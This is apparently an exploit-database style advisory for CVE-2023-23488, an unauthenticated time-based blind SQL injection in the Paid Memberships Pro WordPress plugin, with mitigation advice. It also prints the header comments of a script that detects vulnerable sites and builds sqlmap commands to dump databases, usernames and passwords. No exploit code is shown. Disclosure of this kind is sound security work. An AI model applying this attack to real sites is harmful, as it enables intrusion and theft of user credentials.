Paid Memberships Pro v2.9.8 (WordPress Plugin) – Unauthenticated SQL Injection

Paid Memberships Pro is a WordPress plugin that is vulnerable to an unauthenticated SQL injection vulnerability. This vulnerability allows an attacker to execute arbitrary SQL commands on the target database. The vulnerability was discovered by Joshua Martinelle and was assigned CVE-2023-23488. The exploit can be tested by running a script against a WordPress instance with the Paid Membership Pro plugin. The script will tell if the target is vulnerable and generate an appropriate sqlmap command to dump the whole database or specific data like usernames and passwords.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should update to the latest version of the plugin.

# Version: < 2.9.8
# Tested on: Debian 11 - WordPress 6.1.1 - Paid Memberships Pro 2.9.7
#
# Running this script against a WordPress instance with Paid Membership Pro plugin
# tells you if the target is vulnerable.
# As the SQL injection technique required to exploit it is Time-based blind, instead of
# trying to directly exploit the vuln, it will generate the appropriate sqlmap command
# to dump the whole database (probably very time-consuming) or specific chose data like
# usernames and passwords.
